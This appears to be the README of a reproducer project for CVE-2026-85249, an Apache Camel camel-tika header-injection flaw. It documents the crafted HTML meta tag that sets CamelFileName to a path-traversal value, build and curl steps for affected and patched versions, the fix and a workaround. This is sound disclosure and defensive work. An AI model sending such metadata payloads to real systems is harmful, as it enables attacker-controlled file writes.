oscerd/cve-2026-85249Runnable Spring Boot and Quarkus reproducer for CVE-2026-85249, demonstrating camel-tika metadata header injection into CamelFileName with affected and fixed controls.
CamelFileName)Runnable proof-of-concept reproducer for the Apache Camel vulnerability where the Tika producer mapped every
metadata key parsed out of the submitted document onto the Exchange as a header, with no filter applied. Document
metadata is attacker-controlled content: the party that supplies the file chooses the metadata keys it carries. A
crafted document could therefore set Exchange headers the rest of the route depends on, including Camel-namespace
headers such as CamelFileName, which downstream components use to decide where content is written. It is the same
header-injection class as the consumer advisories, reached here through parsed file content rather than a protocol
header.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-tika 4.22.0 (affected; fixed 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.39.0 + camel-quarkus-tika (Camel 4.22.0, affected; fixed control CQ 3.40.0 / Camel 4.22.1) |
Both modules demonstrate the affected and the fixed behaviour.
The attacker submits an HTML document — an HTML <meta name="..."> attribute reaches Tika's metadata verbatim, so the
document chooses the header names:
<meta name="CamelFileName" content="ATTACKER-SET-../../pwned.txt"/>
<meta name="author" content="legitimate-metadata"/>
The route is simply from(...).to("tika:parse"). After parsing, the Exchange headers are inspected.
CamelFileName (Exchange.FILE_NAME) is set to the attacker's value from the document. A downstream
file producer would use that attacker-chosen value to decide where content is written.CamelFileName is filtered out (not set from the document), while ordinary metadata such as author is
still mapped — the filter blocks only the Camel-internal namespace.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: document sets CamelFileName; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85249-tika-header-injection-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: CamelFileName filtered; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.22.0): document sets CamelFileName
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: CamelFileName filtered
| Property | Value |
|---|---|
| Component | camel-tika (TikaProducer.convertMetadataToHeaders) |
| CWE | CWE-20 (Improper Input Validation) |
| Severity | MEDIUM |
| Attack vector | A submitted document whose parsed metadata declares Camel-internal header names (e.g. via HTML <meta name="CamelFileName">) |
| Impact | Header injection: a document sets Exchange headers the route relies on, such as CamelFileName which decides where downstream components write content |
| Affected Versions | From 4.0.0 before 4.18.5, from 4.19.0 before 4.22.1 |
| Fixed Versions | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24423 |
| Credit | Claude Security Scan Tool |
Advisory: https://camel.apache.org/security/CVE-2026-85249.html
TikaProducer.convertMetadataToHeaders now filters each parsed metadata
name through a HeaderFilterStrategy (configured with inFilterStartsWith("Camel", "camel", "org.apache.camel."),
case-insensitive) before mapping it onto the Exchange — the same way a consumer filters names supplied by an external
sender — so a document cannot declare a metadata name that lands in the Camel-internal namespace. Metadata outside that
namespace is still mapped.
Strip the Camel namespace after the Tika producer with removeHeaders("Camel*") before any component that acts on
those headers.
This repository is published for educational and defensive purposes: to help Apache Camel users understand the vulnerability, verify whether they are affected, and confirm that upgrading resolves it. The crafted document and the injected filename are inert local fixtures. Do not use this material against systems you do not own or operate.